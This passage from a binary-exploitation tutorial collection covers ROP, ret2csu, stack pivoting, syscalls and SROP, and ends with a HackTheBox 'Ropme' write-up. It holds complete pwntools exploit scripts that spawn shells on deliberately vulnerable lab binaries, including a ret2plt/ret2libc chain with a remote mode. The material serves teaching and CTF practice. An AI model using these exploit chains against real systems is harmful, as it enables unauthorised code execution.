there 46 | 47 | p.recvline() 48 | p.sendline(rop.chain()) 49 | 50 | p.sendline(asm(shellcraft.sh())) 51 | 52 | p.interactive() 53 | ``` 54 | 55 | ### Final Exploit 56 | 57 | ```python 58 | from pwn import * 59 | 60 | elf = context.binary = ELF('./vuln-32') 61 | p = process() 62 | 63 | rop = ROP(elf) 64 | 65 | rop.raw('A' * 32) 66 | rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts 67 | rop.raw(elf.got['puts']) # now our shellcode is written there, we can continue execution from there 68 | 69 | p.recvline() 70 | p.sendline(rop.chain()) 71 | 72 | p.sendline(asm(shellcraft.sh())) 73 | 74 | p.interactive() 75 | ``` 76 | 77 | ## 64-bit 78 | 79 | I wonder what you could do with this. 80 | 81 | {% file src="../../../.gitbook/assets/reliable\_shellcode-64.zip" caption="Reliable Shellcode - 64-bit" %} 82 | 83 | ## ASLR 84 | 85 | No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP. 86 | 87 | The real problem would be if PIE was enabled, as then you couldn't call `gets` as the location of the PLT would be unknown without a leak - same problem with writing to the GOT. 88 | 89 | ## Potential Problems 90 | 91 | Thank to [**clubby789** ](https://clubby789.me/)and [**Faith** ](https://faraz.faith/)from the HackTheBox Discord server, I found out that the GOT often has _Executable_ permissions simply because that's the default permissions when there's no NX. If you have a more recent kernel, such as `5.9.0`, the default is changed and the GOT will not have X permissions. 92 | 93 | As such, if your exploit is failing, run `uname -r` to grab the kernel version and check if it's `5.9.0`; if it is, you'll have to find another RWX region to place your shellcode \(if it exists!\). 94 | 95 | -------------------------------------------------------------------------------- /binexp/stack/relro.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Relocation Read-Only 3 | --- 4 | 5 | # RELRO 6 | 7 | RELRO is a protection to stop any GOT overwrites from taking place, and it does so very effectively. There are two types of RELRO, which are both easy to understand. 8 | 9 | #### Partial RELRO 10 | 11 | Partial RELRO simply moves the GOT above the program's variables, meaning you can't overflow **into** the GOT. This, of course, does not prevent format string overwrites. 12 | 13 | #### Full RELRO 14 | 15 | Full RELRO makes the GOT completely read-only, so even format string exploits cannot overwrite it. This is **not** the default in binaries due to the fact that it can make it take **much** longer to load as it need to resolve all the function addresses at once. 16 | 17 | -------------------------------------------------------------------------------- /binexp/stack/ret2csu/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Controlling registers when gadgets are lacking 3 | --- 4 | 5 | # ret2csu 6 | 7 | **ret2csu** is a technique for populating registers when there is a lack of gadgets. More information can be found in the [original paper](https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf), but a summary is as follows: 8 | 9 | When an application is dynamically compiled \(compiled with libc linked to it\), there is a selection of functions it contains to allow the linking. These functions contain **within them** a selection of gadgets that we can use to populate registers we lack gadgets for, most importantly `__libc_csu_init`, which contains the following two gadgets: 10 | 11 | ```text 12 | 0x004011a2 5b pop rbx 13 | 0x004011a3 5d pop rbp 14 | 0x004011a4 415c pop r12 15 | 0x004011a6 415d pop r13 16 | 0x004011a8 415e pop r14 17 | 0x004011aa 415f pop r15 18 | 0x004011ac c3 ret 19 | ``` 20 | 21 | ```text 22 | 0x00401188 4c89f2 mov rdx, r14 ; char **ubp_av 23 | 0x0040118b 4c89ee mov rsi, r13 ; int argc 24 | 0x0040118e 4489e7 mov edi, r12d ; func main 25 | 0x00401191 41ff14df call qword [r15 + rbx*8] 26 | ``` 27 | 28 | The second might not **look** like a gadget, but if you look it calls `r15 + rbx*8`. The first gadget chain allows us to control both `r15` and `rbx` in that series of huge `pop` operations, meaning whe can control where the second gadget calls afterwards. 29 | 30 | {% hint style="info" %} 31 | Note it's `call qword [r15 + rbx*8]`, not `call qword r15 + rbx*8`. This means it'll calculate `r15 + rbx*8` then **go to that memory address**, read it, and call **that value**. This mean we have to find a memory address that contains where we want to jump. 32 | {% endhint %} 33 | 34 | These gadget chains allow us, despite an apparent lack of gadgets, to populate the RDX and RSI registers \(which are important for parameters\) via the second gadget, then jump wherever we wish by simply controlling `r15` and `rbx` to workable values. 35 | 36 | This means we can potentially pull off syscalls for `execve`, or populate parameters for functions such as `write()`. 37 | 38 | {% hint style="info" %} 39 | You may wonder why we would do something like this if we're linked to libc - why not just read the GOT? Well, some functions - such as `write()` - require three parameters \(and at least 2\), so we would require ret2csu to populate them if there was a lack of gadgets. 40 | {% endhint %} 41 | 42 | -------------------------------------------------------------------------------- /binexp/stack/ret2csu/csu-hardening.md: -------------------------------------------------------------------------------- 1 | # CSU Hardening 2 | 3 | As of [glibc 2.34](https://lwn.net/Articles/864920/), the CSU has been hardened to remove the useful gadgets. [This patch](https://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html) is the offendor, and it essentially removes `__libc_csu_init` (as well as a couple other functions) entirely. 4 | 5 | Unfortunately, changing this breaks the ABI (application binary interface), meaning that any binaries compiled in this way can **not** run on pre-2.34 glibc versions - which can make things quite annoying for CTF challenges if you have an outdated glibc version. Older compilations, however, **can** work on the newer versions. 6 | -------------------------------------------------------------------------------- /binexp/stack/return-oriented-programming/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Bypassing NX 3 | --- 4 | 5 | # Return-Oriented Programming 6 | 7 | The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way to do what you wish. This often involves passing parameters to functions already present within `libc`, such as `system` - if you can find the location of a command, such as `cat flag.txt`, and then pass it _as a parameter_ to `system`, it will execute that command and return the output. A more dangerous command is `/bin/sh`, which when run by `system` gives the attacker a shell much like the shellcode we used did. 8 | 9 | Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them. 10 | 11 | #### 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /binexp/stack/return-oriented-programming/exploiting-calling-conventions.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Utilising Calling Conventions 3 | --- 4 | 5 | # Exploiting Calling Conventions 6 | 7 | {% file src="../../../.gitbook/assets/exploiting\_with\_params.zip" caption="ret2win with Parameters" %} 8 | 9 | ### 32-bit 10 | 11 | The program expects the stack to be laid out like this before executing the function: 12 | 13 | ![](../../../.gitbook/assets/image%20%2828%29.png) 14 | 15 | So why don't we provide it like that? As well as the function, we also pass the return address and the parameters. 16 | 17 | ![](../../../.gitbook/assets/image%20%2819%29.png) 18 | 19 | Everything after the address of `flag()` will be part of the stack frame for the next function as it is **expected** to be there - just instead of using `push` instructions we just overwrote them manually. 20 | 21 | ```python 22 | from pwn import * 23 | 24 | p = process('./vuln-32') 25 | 26 | payload = b'A' * 52 # Padding up to EIP 27 | payload += p32(0x080491c7) # Address of flag() 28 | payload += p32(0x0) # Return address - don't care if crashes when done 29 | payload += p32(0xdeadc0de) # First parameter 30 | payload += p32(0xc0ded00d) # Second parameter 31 | 32 | log.info(p.clean()) 33 | p.sendline(payload) 34 | log.info(p.clean()) 35 | ``` 36 | 37 | ### 64-bit 38 | 39 | Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers \(in this case `rdi` and `rsi` as we have two parameters\). 40 | 41 | We have to fill the registers _before_ the function is called 42 | 43 | ```python 44 | from pwn import * 45 | 46 | p = process('./vuln-64') 47 | 48 | POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9 49 | 50 | 51 | payload = b'A' * 56 # Padding 52 | payload += p64(POP_RDI) # pop rdi; ret 53 | payload += p64(0xdeadc0de) # value into rdi -> first param 54 | payload += p64(POP_RSI_R15) # pop rsi; pop r15; ret 55 | payload += p64(0xc0ded00d) # value into rsi -> first param 56 | payload += p64(0x0) # value into r15 -> not important 57 | payload += p64(0x40116f) # Address of flag() 58 | payload += p64(0x0) 59 | 60 | log.info(p.clean()) 61 | p.sendline(payload) 62 | log.info(p.clean()) 63 | ``` 64 | 65 | -------------------------------------------------------------------------------- /binexp/stack/return-oriented-programming/gadgets.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Controlling execution with snippets of code 3 | --- 4 | 5 | # Gadgets 6 | 7 | Gadgets are small snippets of code followed by a `ret` instruction, e.g. `pop rdi; ret`. We can manipulate the `ret` of these gadgets in such a way as to string together a large chain of them to do what we want. 8 | 9 | ### Example 10 | 11 | Let's for a minute pretend the stack looks like this during the execution of a `pop rdi; ret` gadget. 12 | 13 | ![](../../../.gitbook/assets/image%20%2820%29.png) 14 | 15 | What happens is fairly obvious - `0x10` gets popped into `rdi` as it is at the top of the stack during the `pop rdi`. Once the `pop` occurs, `rsp` moves: 16 | 17 | ![](../../../.gitbook/assets/image%20%2822%29.png) 18 | 19 | And since `ret` is equivalent to `pop rip`, `0x5655576724` gets moved into `rip`. Note how the stack is laid out for this. 20 | 21 | ### Utilising Gadgets 22 | 23 | When we overwrite the return pointer, we overwrite the value pointed at by `rsp`. Once that value is popped, it points at the next value at the stack - but wait. We can overwrite the next value in the stack. 24 | 25 | Let's say that we want to exploit a binary to jump to a `pop rdi; ret` gadget, pop `0x100` into `rdi` then jump to `flag()`. Let's step-by-step the execution. 26 | 27 | ![](../../../.gitbook/assets/image%20%2823%29.png) 28 | 29 | On the _original_ `ret`, which we overwrite the return pointer for, we pop the gadget address in. Now `rip` moves to point to the gadget, and `rsp` moves to the next memory address. 30 | 31 | ![](../../../.gitbook/assets/image%20%2825%29.png) 32 | 33 | `rsp` moves to the `0x100`; `rip` to the `pop rdi`. Now when we pop, `0x100` gets moved into `rdi`. 34 | 35 | ![](../../../.gitbook/assets/image%20%2821%29.png) 36 | 37 | RSP moves onto the next items on the stack, the address of `flag()`. The `ret` is executed and `flag()` is called. 38 | 39 | ### Summary 40 | 41 | Essentially, if the gadget pops values from the stack, simply place those values afterwards \(including the `pop rip` in `ret`\). If we want to pop `0x10` into `rdi` and then jump to `0x16`, our payload would look like this: 42 | 43 | ![](../../../.gitbook/assets/image%20%2824%29.png) 44 | 45 | Note if you have multiple `pop` instructions, you can just add more values. 46 | 47 | ![](../../../.gitbook/assets/image%20%2826%29.png) 48 | 49 | {% hint style="info" %} 50 | We use `rdi` as an example because, if you remember, that's the register for the first parameter in 64-bit. This means control of this register using this gadget is important. 51 | {% endhint %} 52 | 53 | ### Finding Gadgets 54 | 55 | We can use the tool [`ROPgadget`](https://github.com/JonathanSalwan/ROPgadget) to find possible gadgets. 56 | 57 | ```text 58 | $ ROPgadget --binary vuln-64 59 | 60 | Gadgets information 61 | ============================================================ 62 | 0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret 63 | 0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret 64 | 0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024 65 | [...] 66 | ``` 67 | 68 | Combine it with `grep` to look for specific registers. 69 | 70 | ```text 71 | $ ROPgadget --binary vuln-64 | grep rdi 72 | 73 | 0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax 74 | 0x00000000004011db : pop rdi ; ret 75 | ``` 76 | 77 | -------------------------------------------------------------------------------- /binexp/stack/return-oriented-programming/stack-alignment.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: A minor issue 3 | --- 4 | 5 | # Stack Alignment 6 | 7 | A small issue you may get when pwning on 64-bit systems is that your exploit works perfectly locally but fails remotely - or even fails when you try to use the provided LIBC version rather than your local one. This arises due to something called **stack alignment**. 8 | 9 | Essentially the [x86-64 ABI (application binary interface) guarantees 16-byte alignment on a `call` instruction](https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul). LIBC takes advantage of this and uses [SSE data transfer instructions](https://docs.oracle.com/cd/E26502\_01/html/E28388/eojde.html) to optimise execution; `system` in particular utilises instructions such as `movaps`. 10 | 11 | That means that if the stack is not 16-byte aligned - that is, RSP is not a multiple of 16 - the ROP chain will fail on `system`. 12 | 13 | The fix is simple - in your ROP chain, before the call to `system`, place a singular `ret` gadget: 14 | 15 | ```python 16 | ret = elf.address + 0x2439 17 | 18 | [...] 19 | rop.raw(POP_RDI) 20 | rop.raw(0x4) # first parameter 21 | rop.raw(ret) # align the stack 22 | rop.raw(system) 23 | ``` 24 | 25 | This works because it will cause RSP to be popped an additional time, pushing it forward by 8 bytes and aligning it. 26 | -------------------------------------------------------------------------------- /binexp/stack/stack-pivoting/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Lack of space for ROP 3 | --- 4 | 5 | # Stack Pivoting 6 | 7 | ## Overview 8 | 9 | **Stack Pivoting** is a technique we use when we lack space on the stack - for example, we have 16 bytes past RIP. In this scenario, we're not able to complete a full ROP chain. 10 | 11 | During Stack Pivoting, we take control of the **RSP** register and "fake" the location of the stack. There are a few ways to do this. 12 | 13 | ### pop rsp gadget 14 | 15 | Possibly the simplest, but also the least likely to exist. If there is one of these, you're quite lucky. 16 | 17 | ### xchg <reg>, rsp 18 | 19 | If you can find a `pop ` gadget, you can then use this `xchg` gadget to swap the values with the ones in RSP. Requires about 16 bytes of stack space after the saved return pointer: 20 | 21 | ```text 22 | pop <=== return pointer 23 | 24 | xchg , rsp 25 | ``` 26 | 27 | ### leave; ret 28 | 29 | This is a _very_ interesting way of stack pivoting, and it only requires 8 bytes. 30 | 31 | Every function \(except `main`\) is ended with a `leave; ret` gadget. `leave` is equivalent to 32 | 33 | ```text 34 | mov rsp, rbp 35 | pop rbp 36 | ``` 37 | 38 | Note that the function ending therefore looks like 39 | 40 | ```text 41 | mov rsp, rbp 42 | pop rbp 43 | pop rip 44 | ``` 45 | 46 | That means that when we overwrite RIP the 8 bytes before that overwrite RBP \(you may have noticed this before\). So, cool - we can overwrite `rbp` using `leave`. How does that help us? 47 | 48 | Well if we look at `leave` again, we noticed the value in RBP gets moved to RSP! So if we call overwrite RBP then overwrite RIP with the address of `leave; ret` again, the value in RBP gets moved to RSP. And, even better, we don't need any more stack space than just overwriting RIP, making it _very_ compressed. 49 | 50 | -------------------------------------------------------------------------------- /binexp/stack/stack-pivoting/exploitation/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Stack Pivoting 3 | --- 4 | 5 | # Exploitation 6 | 7 | ## Source 8 | 9 | {% file src="../../../../.gitbook/assets/stack_pivoting (1).zip" %} 10 | 11 | ```c 12 | // gcc source.c -o vuln -no-pie 13 | #include 14 | 15 | void winner(int a, int b) { 16 | if(a == 0xdeadbeef && b == 0xdeadc0de) { 17 | puts("Great job!"); 18 | return; 19 | } 20 | puts("Whelp, almost...?"); 21 | } 22 | 23 | void vuln() { 24 | char buffer[0x60]; 25 | printf("Try pivoting to: %p\n", buffer); 26 | fgets(buffer, 0x80, stdin); 27 | } 28 | 29 | int main() { 30 | vuln(); 31 | return 0; 32 | } 33 | ``` 34 | 35 | It's fairly clear what the aim is - call `winner()` with the two correct parameters. The `fgets()` means there's a limited number of bytes we can overflow, and it's not enough for a regular ROP chain. There's also a **leak** to the start of the buffer, so we know where to set RSP to. 36 | 37 | We'll try two ways - using `pop rsp`, and using `leave; ret`. There's no `xchg` gadget, but it's virtually identical to just popping RSP anyway. 38 | 39 | Since I **assume** you know how to calculate padding, I'll tell you there's 96 until we overwrite stored RBP and 104 (as expected) until stored RIP. 40 | 41 | ### Basic Setup 42 | 43 | Just to get the basics out of the way, as this is common to both approaches: 44 | 45 | ```python 46 | from pwn import * 47 | 48 | elf = context.binary = ELF('./vuln') 49 | p = process() 50 | 51 | p.recvuntil('to: ') 52 | buffer = int(p.recvline(), 16) 53 | log.success(f'Buffer: {hex(buffer)}') 54 | ``` 55 | -------------------------------------------------------------------------------- /binexp/stack/stack-pivoting/exploitation/leave.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Using leave; ret to stack pivot 3 | --- 4 | 5 | # leave 6 | 7 | ## Exploitation 8 | 9 | By calling `leave; ret` twice, as described, this happens: 10 | 11 | ```text 12 | mov rsp, rbp 13 | pop rbp 14 | mov rsp, rbp 15 | pop rbp 16 | ``` 17 | 18 | By controlling the value popped into RBP, we can control RSP. 19 | 20 | ### Gadgets 21 | 22 | As before, but with a difference: 23 | 24 | ```text 25 | $ ROPgadget --binary vuln | grep 'leave' 26 | 0x000000000040117c : leave ; ret 27 | ``` 28 | 29 | ```python 30 | LEAVE_RET = 0x40117c 31 | POP_RDI = 0x40122b 32 | POP_RSI_R15 = 0x401229 33 | ``` 34 | 35 | ### Testing the leave 36 | 37 | I won't bother stepping through it again - if you want that, check out the [pop rsp walkthrough](pop-rsp.md). 38 | 39 | ```python 40 | payload = flat( 41 | 'A' * 96, 42 | buffer, 43 | LEAVE_RET 44 | ) 45 | 46 | pause() 47 | p.sendline(payload) 48 | print(p.recvline()) 49 | ``` 50 | 51 | Essentially, that pops `buffer` into RSP \(as described previously\). 52 | 53 | ### Full Payload 54 | 55 | You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a `pop` instruction that needs to be accounted for - again, remember `leave` is 56 | 57 | ```text 58 | mov rsp, rbp 59 | pop rbp 60 | ``` 61 | 62 | So once you overwrite RSP, you still need to give a value for the `pop rbp`. 63 | 64 | ```python 65 | payload = flat( 66 | 0x0, # account for final "pop rbp" 67 | POP_RDI, 68 | 0xdeadbeef, 69 | POP_RSI_R15, 70 | 0xdeadc0de, 71 | 0x0, # r15 72 | elf.sym['winner'] 73 | ) 74 | 75 | payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) 76 | 77 | payload += flat( 78 | buffer, 79 | LEAVE_RET 80 | ) 81 | ``` 82 | 83 | ## Final Exploit 84 | 85 | ```python 86 | from pwn import * 87 | 88 | elf = context.binary = ELF('./vuln') 89 | p = process() 90 | 91 | p.recvuntil('to: ') 92 | buffer = int(p.recvline(), 16) 93 | log.success(f'Buffer: {hex(buffer)}') 94 | 95 | LEAVE_RET = 0x40117c 96 | POP_RDI = 0x40122b 97 | POP_RSI_R15 = 0x401229 98 | 99 | payload = flat( 100 | 0x0, # rbp 101 | POP_RDI, 102 | 0xdeadbeef, 103 | POP_RSI_R15, 104 | 0xdeadc0de, 105 | 0x0, 106 | elf.sym['winner'] 107 | ) 108 | 109 | payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) 110 | 111 | payload += flat( 112 | buffer, 113 | LEAVE_RET 114 | ) 115 | 116 | pause() 117 | p.sendline(payload) 118 | print(p.recvline()) 119 | ``` 120 | 121 | -------------------------------------------------------------------------------- /binexp/stack/syscalls/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Interfacing directly with the kernel 3 | --- 4 | 5 | # Syscalls 6 | 7 | ### Overview 8 | 9 | A **syscall** is a **sys**tem **call**, and is how the program enters the kernel in order to carry out specific tasks such as creating processes, I/O and any others they would require kernel-level access. 10 | 11 | Browsing the [list of syscalls](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), you may notice that certain syscalls are similar to libc functions such as `open()`, `fork()` or `read()`; this is because these functions are simply wrappers _around_ the syscalls, making it much easier for the programmer. 12 | 13 | ### Triggering Syscalls 14 | 15 | On Linux, a syscall is triggered by the `int80` instruction. Once it's called, the kernel checks the value stored in RAX - this is the **syscall number**, which defines **what syscall gets run**. As per the table, the other parameters can be stored in RDI, RSI, RDX, etc and every parameter has a different meaning for the different syscalls. 16 | 17 | ### Execve 18 | 19 | A notable syscall is the `execve` syscall, which executes the program passed to it in RDI. RSI and RDX hold `arvp` and `envp` respectively. 20 | 21 | This means, if there is no `system()` function, we can use `execve` to call `/bin/sh` instead - all we have to do is pass in a pointer to `/bin/sh` to RDI, and populate RSI and RDX with `0` \(this is because both `argv` and `envp` need to be `NULL` to pop a shell\). 22 | 23 | -------------------------------------------------------------------------------- /binexp/stack/syscalls/exploitation-with-syscalls.md: -------------------------------------------------------------------------------- 1 | # Exploitation with Syscalls 2 | 3 | ### The Source 4 | 5 | {% file src="../../../.gitbook/assets/syscalls.zip" caption="Syscalls" %} 6 | 7 | To make it super simple, I made it in assembly using pwntools: 8 | 9 | ```python 10 | from pwn import * 11 | 12 | context.arch = 'amd64' 13 | context.os = 'linux' 14 | 15 | elf = ELF.from_assembly( 16 | ''' 17 | mov rdi, 0; 18 | mov rsi, rsp; 19 | sub rsi, 8; 20 | mov rdx, 300; 21 | syscall; 22 | ret; 23 | 24 | pop rax; 25 | ret; 26 | pop rdi; 27 | ret; 28 | pop rsi; 29 | ret; 30 | pop rdx; 31 | ret; 32 | ''' 33 | ) 34 | elf.save('vuln') 35 | ``` 36 | 37 | The binary contains all the gadgets you need! First it executes a `read` syscall, writes to the stack, then the `ret` occurs and you can gain control. 38 | 39 | But what about the `/bin/sh`? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did: 40 | 41 | ```bash 42 | echo -en "/bin/sh\x00" >> vuln 43 | ``` 44 | 45 | ### Exploitation 46 | 47 | As we mentioned before, we need the following layout in the registers: 48 | 49 | ```text 50 | RAX: 0x3b 51 | RDI: pointer to /bin/sh 52 | RSI: 0x0 53 | RDX: 0x0 54 | ``` 55 | 56 | To get the address of the gadgets, I'll just do `objdump -d vuln`. The address of `/bin/sh` can be gotten using strings: 57 | 58 | ```text 59 | $ strings -t x vuln | grep bin 60 | 1250 /bin/sh 61 | ``` 62 | 63 | The **offset** from the base to the string is `0x1250` \(`-t x` tells `strings` to print the offset as hex\). Armed with all this information, we can set up the constants: 64 | 65 | ```python 66 | from pwn import * 67 | 68 | elf = context.binary = ELF('./vuln') 69 | p = process() 70 | 71 | binsh = elf.address + 0x1250 72 | 73 | POP_RAX = 0x10000018 74 | POP_RDI = 0x1000001a 75 | POP_RSI = 0x1000001c 76 | POP_RDX = 0x1000001e 77 | SYSCALL = 0x10000015 78 | ``` 79 | 80 | Now we just need to populate the registers. I'll tell you the padding is `8` to save time: 81 | 82 | ```python 83 | payload = flat( 84 | 'A' * 8, 85 | POP_RAX, 86 | 0x3b, 87 | POP_RDI, 88 | binsh, 89 | POP_RSI, 90 | 0x0, 91 | POP_RDX, 92 | 0X0, 93 | SYSCALL 94 | ) 95 | 96 | p.sendline(payload) 97 | p.interactive() 98 | ``` 99 | 100 | And wehey - we get a shell! 101 | 102 | -------------------------------------------------------------------------------- /binexp/stack/syscalls/sigreturn-oriented-programming-srop/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Controlling all registers at once 3 | --- 4 | 5 | # Sigreturn-Oriented Programming \(SROP\) 6 | 7 | ### Overview 8 | 9 | A **sigreturn** is a special type of [syscall](../). The purpose of sigreturn is to return from the **signal handler** and to clean up the stack frame after a signal has been unblocked. 10 | 11 | What this involves is storing _all_ the register values on the stack. Once the signal is unblocked, all the values are popped back in \(RSP points to the bottom of the **sigreturn frame**, this collection of register values\). 12 | 13 | ### Exploitation 14 | 15 | By leveraging a `sigreturn`, we can control _all register values at once_ - amazing! Yet this is also a drawback - we can't pick-and-choose registers, so if we don't have a stack leak it'll be hard to set registers like RSP to a workable value. Nevertheless, this is a super powerful technique - especially with limited gadgets. 16 | 17 | -------------------------------------------------------------------------------- /binexp/stack/syscalls/sigreturn-oriented-programming-srop/using-srop.md: -------------------------------------------------------------------------------- 1 | # Using SROP 2 | 3 | ## Source 4 | 5 | As with the [syscalls](../exploitation-with-syscalls.md#the-source), I made the binary using the pwntools ELF features: 6 | 7 | ```python 8 | from pwn import * 9 | 10 | context.arch = 'amd64' 11 | context.os = 'linux' 12 | 13 | elf = ELF.from_assembly( 14 | ''' 15 | mov rdi, 0; 16 | mov rsi, rsp; 17 | sub rsi, 8; 18 | mov rdx, 500; 19 | syscall; 20 | ret; 21 | 22 | pop rax; 23 | ret; 24 | ''', vma=0x41000 25 | ) 26 | elf.save('vuln') 27 | ``` 28 | 29 | It's quite simple - a `read` syscall, followed by a `pop rax; ret` gadget. You can't control RDI/RSI/RDX, which you need to pop a shell, so you'll have to use SROP. 30 | 31 | Once again, I added `/bin/sh` to the binary: 32 | 33 | ```bash 34 | echo -en "/bin/bash\x00" >> vuln 35 | ``` 36 | 37 | ## Exploitation 38 | 39 | First let's plonk down the available gadgets and their location, as well as the location of `/bin/sh`. 40 | 41 | ```python 42 | from pwn import * 43 | 44 | elf = context.binary = ELF('./vuln', checksec=False) 45 | p = process() 46 | 47 | BINSH = elf.address + 0x1250 48 | POP_RAX = 0x41018 49 | SYSCALL_RET = 0x41015 50 | ``` 51 | 52 | From here, I suggest you try the payload yourself. The padding \(as you can see in the assembly\) is `8` bytes until RIP, then you'll need to trigger a `sigreturn`, followed by the values of the registers. 53 | 54 | 55 | 56 | The triggering of a `sigreturn` is easy - sigreturn is syscall `0xf` \(`15`\), so we just pop that into RAX and call `syscall`: 57 | 58 | ```python 59 | payload = b'A' * 8 60 | payload += p64(POP_RAX) 61 | payload += p64(0xf) 62 | payload += p64(SYSCALL_RET) 63 | ``` 64 | 65 | Now the syscall looks at the location of RSP for the register values; we'll have to fake them. They have to be in a specific order, but luckily for us pwntools has a cool feature called a `SigreturnFrame()` that handles the order for us. 66 | 67 | ```text 68 | frame = SigreturnFrame() 69 | ``` 70 | 71 | Now we just need to decide what the register values should be. We want to trigger an `execve()` syscall, so we'll set the registers to the values we need for that: 72 | 73 | ```python 74 | frame.rax = 0x3b # syscall number for execve 75 | frame.rdi = BINSH # pointer to /bin/sh 76 | frame.rsi = 0x0 # NULL 77 | frame.rdx = 0x0 # NULL 78 | ``` 79 | 80 | However, in order to trigger this we **also have to control RIP** and point it back at the `syscall` gadget, so the execve actually executes: 81 | 82 | ```python 83 | frame.rip = SYSCALL_RET 84 | ``` 85 | 86 | We then append it to the payload and send. 87 | 88 | ```python 89 | payload += bytes(frame) 90 | 91 | p.sendline(payload) 92 | p.interactive() 93 | ``` 94 | 95 | ![Nailed it!](../../../../.gitbook/assets/image%20%2842%29.png) 96 | 97 | ### Final Exploit 98 | 99 | ```python 100 | from pwn import * 101 | 102 | elf = context.binary = ELF('./vuln', checksec=False) 103 | p = process() 104 | 105 | BINSH = elf.address + 0x1250 106 | POP_RAX = 0x41018 107 | SYSCALL_RET = 0x41015 108 | 109 | frame = SigreturnFrame() 110 | frame.rax = 0x3b # syscall number for execve 111 | frame.rdi = BINSH # pointer to /bin/sh 112 | frame.rsi = 0x0 # NULL 113 | frame.rdx = 0x0 # NULL 114 | frame.rip = SYSCALL_RET 115 | 116 | payload = b'A' * 8 117 | payload += p64(POP_RAX) 118 | payload += p64(0xf) 119 | payload += p64(SYSCALL_RET) 120 | payload += bytes(frame) 121 | 122 | p.sendline(payload) 123 | p.interactive() 124 | ``` 125 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /challenges/dream-diary-chapter-1/chunk-overlap.md: -------------------------------------------------------------------------------- 1 | # Chunk Overlap 2 | 3 | ## Summary 4 | 5 | TODO 6 | 7 | -------------------------------------------------------------------------------- /challenges/ropme.md: -------------------------------------------------------------------------------- 1 | # Ropme 2 | 3 | ## Overview 4 | 5 | [Ropme ](https://app.hackthebox.eu/challenges/8)was an 80pts challenge rated as `Hard` on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform. 6 | 7 | Exploiting the binary involved executing a [ret2plt ](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt)attack in order to leak the libc version before gaining RCE using a [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc). 8 | 9 | ## Analysis 10 | 11 | ```text 12 | $ ./ropme 13 | ROP me outside, how 'about dah? 14 | test 15 | ``` 16 | 17 | One output, one input, then the program breaks. 18 | 19 | ```text 20 | $ rabin2 -I ropme 21 | bits 64 22 | canary false 23 | nx true 24 | pic false 25 | relro partial 26 | ``` 27 | 28 | No PIE, meaning we can pull off the [ret2plt](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt). Let's leak the libc version. 29 | 30 | ```python 31 | from pwn import * 32 | 33 | elf = context.binary = ELF('./ropme') 34 | libc = elf.libc 35 | p = elf.process() 36 | 37 | # ret2plt 38 | rop = ROP(elf) 39 | 40 | rop.raw('A' * 72) 41 | rop.puts(elf.got['puts']) 42 | rop.raw(elf.symbols['main']) 43 | 44 | p.sendline(rop.chain()) 45 | 46 | # read the leaked puts address 47 | p.recvline() 48 | puts = u64(p.recv(6) + b'\x00\x00') 49 | log.success(f'Leaked puts: {hex(puts)}') 50 | 51 | # Get base 52 | libc.address = puts - libc.symbols['puts'] 53 | log.success(f'Libc base: {hex(libc.address)}') 54 | ``` 55 | 56 | We can now leak other symbols in order to pinpoint the libc version, for which you can use something like [here](https://libc.blukat.me/). Once you've done that, it's a simple [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc). 57 | 58 | ## Final Exploit 59 | 60 | ```python 61 | from pwn import * 62 | 63 | elf = context.binary = ELF('./ropme') 64 | 65 | if args.REMOTE: 66 | libc = ELF('./libc-remote.so', checksec=False) 67 | p = remote('docker.hackthebox.eu', 31919) 68 | else: 69 | libc = elf.libc 70 | p = elf.process() 71 | 72 | # ret2plt 73 | rop = ROP(elf) 74 | 75 | rop.raw('A' * 72) 76 | rop.puts(elf.got['puts']) 77 | rop.raw(elf.symbols['main']) 78 | 79 | p.sendline(rop.chain()) 80 | 81 | ### Pad with \x00 to get to correct length of 8 bytes 82 | p.recvline() 83 | puts = u64(p.recv(6) + b'\x00\x00') 84 | log.success(f'Leaked puts: {hex(puts)}') 85 | 86 | # Get base 87 | libc.address = puts - libc.symbols['puts'] 88 | log.success(f'Libc base: {hex(libc.address)}') 89 | 90 | 91 | # ret2libc 92 | binsh = next(libc.search(b'/bin/sh\x00')) 93 | 94 | rop = ROP(libc) 95 | rop.raw('A' * 72) 96 | rop.system(binsh) 97 | 98 | p.sendline(rop.chain()) 99 | 100 | p.interactive() 